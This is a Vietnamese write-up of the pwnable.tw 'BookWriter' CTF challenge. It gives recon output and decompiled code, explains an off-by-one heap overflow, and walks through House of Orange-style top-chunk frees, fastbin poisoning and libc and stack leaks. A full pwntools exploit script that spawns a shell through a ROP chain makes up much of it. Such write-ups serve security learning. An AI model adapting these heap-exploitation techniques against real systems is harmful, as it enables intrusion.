pwnable.tw

BookWriter

Vuln: Off-by-one error cho phép attacker ghi out-of-bound vào kích thước của page, dẫn đến buffer overflow tuỳ ý trên heap khi chỉnh sửa page content.

February 19, 2026 Medium

Recon

Mitigation

$ pwn checksec bookwriter
[*] '/home/hungnt/pwnable.tw/bookwriter/bookwriter'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
$ file bookwriter
bookwriter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8c3e466870c649d07e84498bb143f1bb5916ae34, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x714c2aa00000
           /home/hungnt/pwnable.tw/bookwriter/libc_64.so.6
    ld is at:               0x714c2ae00000
           /home/hungnt/pwnable.tw/bookwriter/ld-2.23.so
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Code

main()

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("Welcome to the BookWriter !");
  input_author();
  while ( 1 )
  {
    menu();
    switch ( input_long() )
    {
      case 1LL:
        add_page();
        break;
      case 2LL:
        view_page();
        break;
      case 3LL:
        edit_page();
        break;
      case 4LL:
        info();
        break;
      case 5LL:
        exit(0);
      default:
        puts("Invalid choice");
        break;
    }
  }
}

add_page()

int add_page()
{
  unsigned int index; // [rsp+Ch] [rbp-14h]
  char *page; // [rsp+10h] [rbp-10h]
  __int64 size; // [rsp+18h] [rbp-8h]

  for ( index = 0; ; ++index )
  {
    if ( index > 8 )
      return puts("You can't add new page anymore!");
    if ( !(&page_content)[index] )
      break;
  }
  printf("Size of page :");
  size = input_long();
  page = (char *)malloc(size);
  if ( !page )
  {
    puts("Error !");
    exit(0);
  }
  printf("Content :");
  read_input(page, size);
  (&page_content)[index] = page;
  page_size[index] = size;
  ++page_count;
  return puts("Done !");
}

view_page()

int view_page()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  printf("Index of page :");
  index = input_long();
  if ( index > 7 )
  {
    puts("out of page:");
    exit(0);
  }
  if ( !(&page_content)[index] )
    return puts("Not found !");
  printf("Page #%u \n", index);
  return printf("Content :\n%s\n", (&page_content)[index]);
}

edit_page()

int edit_page()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  printf("Index of page :");
  index = input_long();
  if ( index > 7 )
  {
    puts("out of page:");
    exit(0);
  }
  if ( !(&page_content)[index] )
    return puts("Not found !");
  printf("Content:");
  read_input((&page_content)[index], page_size[index]);
  page_size[index] = strlen((&page_content)[index]);
  return puts("Done !");
}

info()

unsigned __int64 info()
{
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  choice = 0;
  printf("Author : %s\n", author);
  printf("Page : %u\n", (unsigned int)page_count);
  printf("Do you want to change the author ? (yes:1 / no:0) ");
  _isoc99_scanf("%d", &choice);
  if ( choice == 1 )
    input_author();
  return __readfsqword(0x28u) ^ v2;
}

Solve

Đập ngay vào mắt mình đó là off by one error. Dù số page tối đa là 8, nghĩa là index từ 0 -> 7, nhưng ở hàm add_page(), lại duyệt đến tận index = 8.

for ( index = 0; ; ++index )
  {
    if ( index > 8 )
      return puts("You can't add new page anymore!");
    if ( !(&page_content)[index] )
      break;
  }

Đồng nghĩa với việc duyệt đến size của page 0.

Tại hàm edit_page():

printf("Content:");
read_input((&page_content)[index], page_size[index]);
page_size[index] = strlen((&page_content)[index]);

Nếu mình edit với content bắt đầu với null byte, thì strlen return về 0, size đc set về 0. Vậy sau khi mình set size của page 0 về 0, mình có thể tạo thêm page thứ 9, địa chỉ cấp phát đc ghi vào size của page 0.

Bây giờ, size của page 0 là rất lớn, mình có thể overflow tuỳ ý từ chunk 0.

Mục tiêu của mình là nghịch với các bins và làm sao đó leak đc libc và có AAW. Nhưng chương trình chẳng có chỗ nào gọi free() cả. Thế thì mình chơi bài free top chunk mà mình đã học được từ House Of Orange.

Để leak libc, mình free top chunk vào unsorted bin, đọc fd là xong. Nhưng xong giờ sao? chả làm gì được nữa cả. Muốn poison fastbin thì cần phải có lần free nữa, nhưng mà giờ top chunk ở rất xa page 0 rồi, sao mà overflow tới được.

Vậy ý tưởng của mình đó là:

  1. Leak địa chỉ heap với việc nhập đầy buffer của Author.
  2. Lần free top chunk đầu, mình cho vào fastbin trước, poison để cấp phát tới chỗ page_content luôn, mình kiểm soát đc toàn bộ page pointers để đọc ghi tuỳ ý.
  3. Giờ mình có địa chỉ heap rồi, mình ghi địa chỉ top chunk tiếp theo làm page.
  4. Tiếp tục áp dụng chiêu cũ để free top chunk lần 2, lần này vào unsorted bin để leak libc.
  5. Tiếp tục kiểm soát page pointers để leak stack từ environ.
  6. Tiếp tục kiểm soát page pointers để ghi đè return address để cuối cùng spawn shell.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("bookwriter_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on

continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10304
        return remote(host, port)

p = conn()

def add_page(size, content):
    slan(p, b'choice', 1)
    slan(p, b'Size', size)
    sa(p, b'Content', content)
    sleep(0.01)

def edit_page(index, content):
    slan(p, b'choice', 3)
    slan(p, b'Index', index)
    sa(p, b'Content', content)
    sleep(0.01)

def show_page(index):
    slan(p, b'choice', 2)
    slan(p, b'Index', index)

def info():
    slan(p, b'choice', 4)

size = 0x100

print("Author = 64 A's")
sa(p, b'Author', flat(pad(64))) # later to leak heap

print("Add 8 pages")
for i in range(8):
    print("page", i)
    add_page(size, b'A')

edit_page(0, b'\n') # Clear page size
add_page(size, b'A') # Fake page size

print("Fake top chunk size")
heap_layout = pad(size, b'\0')
heap_layout += flat(0, size + 0x11, pad(size, b'\0')) * 8
heap_layout += flat(0, 0x671)
edit_page(0, heap_layout) # Fake top chunk size
add_page(0x5c0, b'A') # Để lại chunk 0x80 cho vào fastbin

'''
leak heap với author ở đúng thời điểm này là ok nhất
leak heap trước khi free top chunk ở trên thì nó 
malloc 1 chunk 0x1000 byte -> heap layout quá dài để 
thoả mãn metadata các chunk dưới
'''

print("Free top chunk and leak heap")
info() # Cái này malloc gì đó tận 0x1000 byte, tiện thể nó free luôn chunk 0x80 vào fastbin
ru(p, pad(64))
heap_base = leak_bytes(rl(p).strip(), 0x10)
lg("heap base", heap_base)

print("Author contains fake heap metadata")
slan(p, b'change the author', 1)
sa(p, b'Author', flat(
    pad(0x20),
    0, 0x81,
    0, 0
)) # Fake metadata để tí malloc vào đây ghi đè các page pointer

print("Overwrite page pointers")
page_content = 0x6020a0
heap_layout = pad(size, b'\0')
heap_layout += flat(0, size + 0x11, pad(size, b'\0')) * 8
heap_layout += flat(0, 0x5d1, pad(0x5c0, b'\0'))
heap_layout += flat(0, 0x81, page_content - 0x20)
edit_page(0, heap_layout)
add_page(0x70, b'A')
edit_page(0, b'\n')
add_page(0x70, flat(
    0, 0,
    page_content, # 0
    page_content, # 1
    heap_base + 0x22010, # 2, next top chunk for a second free
    heap_base + 0x22010, # 3
    0, 0, 0, 0,
    p64(0x100) * 4
))

print("Fake top chunk size again and free it")
edit_page(2, flat(0, 0xff1)) # Fake top chunk again
add_page(0x1000, b'A') # Free top chunk to unsortedbin

# Leak libc
print("Leaking libc")
edit_page(3, pad(0x10))
show_page(3)
ru(p, pad(0x10))
libc.address = leak_bytes(rn(p, 6), 0x3c3b78)
lg("libc base", libc.address)

# Leak stack
print("Leaking stack")
edit_page(0, flat(
    page_content, # 0, phải là địa chỉ hợp lệ mới đc, do strlen làm gì đó 
    page_content, # 1
    libc.symbols['__environ'], # 2
    0, 0, 0, 0, 0,
    p64(0x100) * 3
))
show_page(2)
ru(p, b'Content :\n')
stack = leak_bytes(rn(p, 6))
lg("stack", stack)

# Point to return address
print("Overwriting return address with ROP chain")
edit_page(1, flat(
    p64(stack - 0x110) * 8,
    p64(0x100) * 8
))

# Overwrite return address
edit_page(7, flat(
    libc.address + 0x0000000000021102, # pop rdi; ret
    binsh(libc),
    libc.address + 0x000000000002058f, # nop; ret
    libc.symbols['system'],
))

print("Spawn shell")
rr(p, 1)
ia(p)